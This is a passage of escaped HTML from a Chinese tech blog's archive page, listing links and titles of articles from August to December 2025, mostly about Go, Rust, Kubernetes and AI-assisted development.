设计师\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/07/zootopia-2-perfect-architecture-lie-exposed/\"\u003e看完《疯狂动物城2》，我发现“完美架构”的谎言被戳破了\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/07/switching-from-rust-to-go-appeal-of-the-language/\"\u003e“我从未想过学完 Rust 后会转向 Go”—— 这门“无聊”的语言究竟有什么魅力？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/06/zootopia-distributed-system-written-in-go/\"\u003e如果《疯狂动物城》是一个分布式系统，那它一定是用 Go 写的\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/06/argentina-2026-world-cup-title-defense-messi-enjoy-football/\"\u003eJ组！阿根廷开启2026卫冕之旅：梅西，这一次，请尽情享受足球！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/05/proposal-runtime-secret/\"\u003eGo 安全新提案：runtime/secret 能否终结密钥残留的噩梦？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/05/how-ai-is-transforming-work-at-anthropic/\"\u003eAnthropic 内部报告：程序员的“死”与“生”，效率暴增 50% 的残酷启示\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/04/minio-enter-maintenance-mode/\"\u003eMinIO 开源版突发“安乐死”：维护模式开启，社区愤怒，你的数据还安全吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/04/thoughts-before-all-in-agentic-ai/\"\u003e别盲目梭哈 Agentic AI！先看清“确定性”的崩塌与“概率性”重建\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/03/go-2025-cloud-native-observability-report/\"\u003eGo 2025云原生与可观测年度报告：底层性能革新与生态固防\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/02/advices-from-uber-distinguished-engineer/\"\u003e只要 Title 带“工程师”，你就必须写代码：Uber 杰出工程师的硬核建议\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/01/proposal-sync-v2/\"\u003eBrad Fitzpatrick 也等不及了！sync.Map 的泛型进化与 sync/v2 的诞生之路\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202511\"\u003e2025.11\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/30/ice-assertion-failed-with-append/\"\u003eGo 编译器崩溃背后：一个 append 函数引发的语言规范修正案\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/29/oop-the-worst-thing-that-happened-to-programming/\"\u003e“香蕉、猴子和整片丛林”：我们是否深陷于 OOP 的“优雅”陷阱？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/28/go-2026-roadmap-revealed/\"\u003eGo 2026 路线图曝光：SIMD、泛型方法与无 C 工具链 CGO —— 性能与表达力的双重飞跃？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/27/dingo-go-typescript-moment/\"\u003edingo：Go 语言的 “TypeScript”时刻？—— 一场由社区驱动的语言演进实验\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/26/how-google-built-a-130000-node-k8s-cluster/\"\u003e13万节点！Google 如何打破 Kubernetes 的物理极限，构建全球最大集群\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/25/who-killed-your-http-connection-traps-of-connection-pooling/\"\u003e谁“杀”死了你的 HTTP 连接？—— 揭秘云环境下连接池配置的隐形陷阱\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/24/google-adk-go-in-action/\"\u003e霸榜 GitHub 一周！Google 开源 ADK for Go，彻底终结 AI“炼丹”时代？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/23/leo-messi-and-fanren-hanli/\"\u003e从韩立到梅西：顶级“全栈工程师”的修炼之道与生存哲学\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/23/short-form-videos-harm-programmers/\"\u003e白天改Bug，晚上刷视频：你以为在放松，其实在消耗你写出好代码的能力\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/22/the-2025-go-cryptography-state-of-the-union/\"\u003eGo 2025 密码学年度报告：后量子时代的防御与 FIPS 的“纯 Go”革命\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/21/why-go-is-quietly-doing-what-rust-couldnt-staying-simple/\"\u003e为什么 Go 在悄悄地做 Rust 做不到的事：保持简单\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/20/proposal-improve-goroutine-stack-using-page-faults/\"\u003eGoroutine 栈增长机制新提案：用缺页中断替代栈检查？Rob Pike 亲自下场“劝退”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/20/ai-native-dev-workflow/\"\u003e还在当“上下文搬运工”？我写了一门课，帮你重塑AI开发工作流\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/19/cloudflare-18-november-2025-outage/\"\u003e一次 unwrap() 引发的全球宕机：Cloudflare 故障报告背后的 Rust 安全反思\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/19/proposal-remove-cycle-restriction-for-type-parameters/\"\u003eGo 泛型再进化：移除类型参数的循环引用限制\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/18/go-web3-dominance-overview-2025/\"\u003eGo 在 Web3 的统治力：2025 年架构与生态综述\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/17/explain-kubernetes/\"\u003e你的 Kubernetes 知识在“冰山”的第几层？—— 一份给 Gopher 的 K8s 进阶“航海图”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/17/go-testing-journey/\"\u003e你的 Go 测试，还停留在“演员对台词”吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/15/go-turns-16/\"\u003eGo 的甜蜜16 岁：一份来自官方的年度成绩单与未来路线图\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/14/the-go-ecosystem-in-2025/\"\u003eGo 也开始“叛逆”了？深度解读 JetBrains 2025 报告：为何“原生信仰”不再是唯一答案\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/13/proposal-dynamic-escapes/\"\u003ePGO 驱动的“动态逃逸分析”：w.Write(b) 中的切片逃逸终于有救了？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/12/16-years-of-go-a-programming-language-built-to-last/\"\u003eGo 的 16 年：一门为持久而生的编程语言\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/11/go-developers-love-pain-online-debate/\"\u003e“学习 Go 毁掉了我钟爱的其他语言”：一场网络热议揭示 Go 开发者真正的爱与痛\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/11/zsxq-11-11-2025/\"\u003e算了一笔账后，这个双十一我决定做个“亏本”买卖\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/10/rob-pike-on-complexity/\"\u003e来自 Go 创始人的忠告：这五条关于“复杂性”的法则，比算法更重要\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/08/proposal-zstd/\"\u003eGo 标准库将迎来 Zstandard：性能超越 Gzip，让你的应用更快、更省\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/07/go-simple-illusion-easy-to-learn-hard-to-master/\"\u003eGo 的“简单”幻象：易于上手，难于精通\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/06/proposal-simd-cpu-feature-vet-check/\"\u003e连 Rob Pike 都感到“担忧”：Go 1.26 SIMD 引入的新复杂性与应对之道\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/05/proposal-remove-godebug-flags/\"\u003eGODEBUG 的“技术债”清算：Go 团队提出全新生命周期管理策略\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/04/microservice-disasters/\"\u003e微服务灾难清单：从技术深坑到组织泥潭的 10 个惨痛教训\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/03/go-gui-development-2025/\"\u003eGo GUI 开发的“绝境”与“破局”：2025 年现状与展望\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/02/6-months-47-microservices-architecture-disaster/\"\u003e“6 个月，47 个微服务”：一场由“简历驱动”引发的架构灾难\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/11/01/from-python-to-go-what-we-lost-and-gained/\"\u003e从 Python 到 Go：我们失去了什么，又得到了什么？\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202510\"\u003e2025.10\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/31/deep-into-go-green-tea-gc/\"\u003eGo 官方详解“Green Tea”垃圾回收器：从对象到页，一场应对现代硬件挑战的架构演进\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/30/jon-gjengset-rust-ai-future/\"\u003eRust 布道者Jon Gjengset深度访谈：在 AI 时代，我们该如何思考编程、职业与未来？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/30/type-theory-intro-for-gopher/\"\u003e告别懵圈：实战派 Gopher 的类型理论入门\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/29/why-break-in-go-function-iterators-does-not-work/\"\u003e解构Go函数迭代器——为什么 break 没有按预期工作？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/28/go-archaeology-error-handling/\"\u003eGo 考古：错误处理的“语法糖”之战与最终的“投降”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/27/the-ultimate-guide-to-go-module/\"\u003eGo 模块构建与依赖管理：我们到底在“折腾”什么？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/26/sqlite-say-no-to-go-and-rust/\"\u003eSQLite 对 Go 和 Rust 说“不”：揭示“安全语言”光环下的工程现实\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/25/go-iota-flaw-or-magic/\"\u003eGo 的 iota：设计缺陷还是“黑魔法”？—— 从一条“咆哮”推文谈起\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/24/from-fanren-to-three-body-top-programmers-power/\"\u003e从《凡人修仙传》到《三体》：顶尖程序员的“降维打击”与“法则”之力\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/24/honoring-1024-programmers-day/\"\u003e致敬 1024 程序员节：写给奔跑在二进制世界里的你 (文末赠书)\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/23/go-language-leads-jetbrains-trends/\"\u003eGo 语言观察：登顶“最受期待”榜首，JetBrains 2025报告洞悉未来趋势\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/23/go-ffi-new-paradigm/\"\u003eGo FFI 的新范式：purego 与 libffi 如何让我们无痛拥抱 C 生态\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/22/seven-kubernetes-pitfalls/\"\u003e7 个常见的 Kubernetes 陷阱（以及我是如何学会避免它们的）\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/22/back-to-go-after-defection-to-java/\"\u003e从 Go “叛逃”到 Java，再回归：一位开发者关于“魔法”与“显式”的深度反思\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/21/yang-zhengning-legacy-beyond-physics/\"\u003e杨振宁先生留给我们的遗产，远不止于物理学\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/21/10-go-programming-rules-from-reddit/\"\u003e写出让同事赞不绝口的Go代码：Reddit工程师总结的10条地道Go编程法则\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/20/k8s-1m-intro/\"\u003e一个 Kubernetes 集群的“珠峰攀登”：从 10 万到 100 万节点的极限探索\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/19/flask-creator-choose-go/\"\u003e为什么 Flask 的创造者选择 Go 作为他 AI 创业公司的核心语言？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/18/revisit-extreme-programming-in-the-age-of-ai/\"\u003eAI 让代码产出速度提升 10 倍，为什么我们的软件交付成功率却停滞不前？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/18/lessons-from-java-26-years-evolution/\"\u003eGo 技术沉思录：Java 26 年演进史给我们带来的启示\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/17/detect-charset-in-go/\"\u003e收到非 UTF-8 文本怎么办？Go 字符集检测的探索与实践\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/16/rethink-996-culture/\"\u003e划船，还是扬帆？重新审视 996 文化背后的杠杆缺失\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/16/cpu-cache-friendly-in-go/\"\u003e释放 Go 的极限潜能：CPU 缓存友好的数据结构设计指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/15/physics-in-fanren/\"\u003e《凡人修仙传中的物理学》：当韩天尊遇见爱因斯坦\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/15/go-archaeology-defer/\"\u003eGo 考古：defer 的“救赎”——从性能“原罪”到零成本的“开放编码”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/13/string-and-rune-in-go/\"\u003estring 与 rune 的设计哲学：为什么Go 程序员很少为“乱码”烦恼？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/12/the-programmer-identity-crisis/\"\u003e从“键盘牛仔”到“规范工程师”，AI 浪潮下的程序员身份危机\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/11/go-is-a-good-first-programming-language/\"\u003eGo作为第一门编程语言：天才之选还是糟糕开端？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/10/proposal-add-buffer-peek/\"\u003eGo 零拷贝“最后一公里”：Peek API背后的设计哲学与权衡\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/09/json-isnt-json/\"\u003eGo开发者必读：JSON 的跨语言陷阱与 Go 防御指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/08/go-network-programming-complete-guide/\"\u003e只会 net/http 还不够，Go 网络编程的“深水区”你敢闯吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/07/proposal-must-do/\"\u003eGo 标准库提供一个“Must” 函数？社区关于“断言式初始化”的思考\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/04/the-software-essays-that-shaped-me/\"\u003e超越时间的智慧：重读那些定义了现代软件开发的经典文章\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/10/02/go-archaeology-slice/\"\u003eGo 考古：Slice 的“隐秘角落”——只读切片与扩容策略的权衡\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202509\"\u003e2025.09\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/30/good-taste-in-software-engineering/\"\u003e除了技术能力，什么决定了软件工程师的上限？答案是“品味”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/29/synctest-bugs-in-go-1-25/\"\u003e并发测试神器 synctest的“成人礼”：从goroutine泄漏到微妙的竞态，Go团队如何修复三大“首日bug”？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/28/how-top-performers-stand-out-in-the-age-of-ai/\"\u003eDropbox最新研究解读：AI 正在拉平生产力差距，顶尖开发者如何脱颖而出？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/27/direct-ref-to-embedded-fields-in-struct-literals/\"\u003eGo 结构体初始化的“反直觉”设计终于要改了？深入探讨嵌入字段直接初始化提案\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/26/self-reliant-programmer\"\u003e“自立程序员宣言”解读：这不就是我们一直在说的Go语言哲学吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/25/go-security-past-present-and-future/\"\u003eGo 安全的“隐形战争”：过去、现在与未来\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/24/evolving-your-go-api/\"\u003eGo团队成员的忠告：在你的API变得无法挽回之前，必须掌握的四条原则\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/23/go-maphash-portability-costs-and-runtime-boundaries/\"\u003e“可移植性”的隐藏成本：Go为何要重塑maphash并划定新的运行时边界？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/22/go-team-gave-up-on-features/\"\u003e“我们放弃了”——Go 团队坦诚布公，聊聊那些可能永远不会加入 Go 的功能\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/21/why-maintainers-should-say-no-to-good-idea/\"\u003e面对“好主意”，为何开源项目的维护者必须学会说“不”？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/20/refactoring-go-in-large-codebases\"\u003e重构还是重写？GitHub工程师维护Go大项目的实践指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/19/the-tension-in-programmer-comments/\"\u003eGo写业务是垃圾？Rust重写是坨屎？聊聊程序员评论区里的那股“煞气”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/18/go-runtime-free-proposal/\"\u003e从arena、memory region到runtime.free：Go内存管理探索的务实转向\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/17/some-things-i-keep-repeating-about-go/\"\u003eDave Cheney 复出首谈：那些我反复强调的Go编程模式\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/16/go-language-when-simple-becomes-complex/\"\u003eGo 语言的灵魂之问：当“简单”变得“复杂”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/15/go-context-column/\"\u003econtext：Go 语言的“天问”，你真的懂了吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/14/code-complete-with-steve-mcconnell/\"\u003e软件工程的永恒法则：《代码大全》作者访谈给我们的三大启示\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/13/package-managers-are-evil/\"\u003e“包管理器是万恶之源”：一次来自Odin语言作者的灵魂拷问\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/12/go-constructor-pattern-guide/\"\u003e超越零值：Go语言“构造模式”深度指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/11/microsoft-is-getting-rusty/\"\u003eAzure CTO 深度解读：微软为何要用 Rust “替换” C/C++，又将如何用 AI 加速代码迁移？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/11/gophercon-2025-contributor-summit-notes/\"\u003e直面依赖之痛与TLS简化：GopherCon 2025贡献者峰会核心纪要深度解读\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/10/introducing-the-mcp-registry/\"\u003eMCP协议注册中心发布：Go在下一代AI基础设施中扮演关键角色\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/09/the-power-of-ten-in-go/\"\u003eNASA的十大编码“诫律”：Go视角的全新解读\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/08/fanren-xiuxian-programmer-levels/\"\u003e从《凡人修仙传》看程序员境界：道友，你修炼到哪一层了？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/07/the-power-of-an-interface-for-performance/\"\u003e为什么说“接口”，而非代码或硬件堆砌，决定了系统的性能上限？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/06/gopher-pseudocode-translation-guide/\"\u003e告别算法“天书”，Go程序员的学术伪代码“翻译”指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/05/go-proxy-revise-background-refresh-pacing/\"\u003eGo Proxy的“背景刷新”机制，是优化还是“DDoS”？一次社区事件引发的深度复盘\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/04/simple-is-not-easy/\"\u003e“简单”不是“容易”：Go开发者应该懂的5个道理\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/03/gopher-first-lesson-to-big-factory/\"\u003eGopher直通大厂，就从这第一课开始！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/02/amazon-cto-werner-vogels-9-commandments/\"\u003e亚马逊CTO Werner Vogels的9条军规\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/01/uber-150-million-reads/\"\u003e从 0 到 1.5 亿 QPS：Uber 核心存储架构的十年演进与缓存设计哲学\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/09/01/system-programming-in-go/\"\u003e成为更完整的 Go 工程师，从补上这堂系统编程课开始\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202508\"\u003e2025.08\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/31/the-simplest-thing-that-could-possibly-work/\"\u003e“无聊”设计的终极奥义：为什么“做可能奏效的最简单的事”是最高法则？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/30/python-an-origin-story\"\u003ePython简史：一个圣诞节的“私活”项目，如何改变了编程世界？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/29/good-api-design/\"\u003e无聊的API是最好的API：从系统设计到接口契约的九条法则\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/28/go-primer-published/\"\u003e我的Gopher“长期主义”：从《Go语言第一课》新书说起\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/27/go-interface-embrace-data/\"\u003eGo语言的“灵魂拷问”：接口只关乎行为，还是也应拥抱数据？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/26/good-system-design/\"\u003e无聊即可靠：一位资深工程师的九条系统设计法则\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/26/go-concurrency-cost-hierarchy/\"\u003e告别性能猜谜：一份Go并发操作的成本层级清单\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/25/documents-the-architects-programming-language/\"\u003e掌握架构师的“编程语言”：将“想法”部署到“人”的艺术\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/25/go-is-still-not-good/\"\u003eGo的“七宗罪”：一篇“Go依然不够好”如何引爆社区激辩？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/24/junior-engineer-survival-guide-in-ai-age/\"\u003eAI 时代的初级工程师生存指南：别让“万能”的AI工具，毁掉你最宝贵的成长期\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/23/proposal-errors-asa/\"\u003e泛型重塑Go错误检查：errors.As的下一站AsA？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/22/go-simd-package-preview/\"\u003e解锁CPU终极性能：Go原生SIMD包预览版初探\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/21/go-rust-official-voices/\"\u003e哲学家与工程师：为何Rust和Go的“官方之声”如此不同？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/20/large-scale-logging-made-easy/\"\u003e日志查询从70小时到10秒？VictoriaMetrics联创揭示PB级日志处理性能奥秘\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/19/rust-in-2025/\"\u003eRust 2025 深度解读：在十周年里程碑上，Niko Matsakis 如何擘画下一个时代的灵魂与蓝图？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/18/ai-app-dev-guide-for-gopher/\"\u003e收藏级指南：Gopher AI入局路线图\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/17/best-linux-os-for-robotics-in-2025/\"\u003e2025年最佳机器人Linux操作系统——顶级发行版与最新进展！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/17/create-pointer-to-simple-types/\"\u003e从 Rob Pike 的提案到社区共识：Go 或将通过 new(v) 彻底解决指针初始化难题\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/16/brand-new-os-impossible/\"\u003e内核之外的冰山：为什么说从零写一个操作系统已几乎不可能？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/15/some-changes-in-go-1-25/\"\u003eGo 1.25中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/14/rs-py-ts-trifecta/\"\u003eAI正在重塑编程语言格局：Rust、Python和TypeScript真是最终赢家吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca 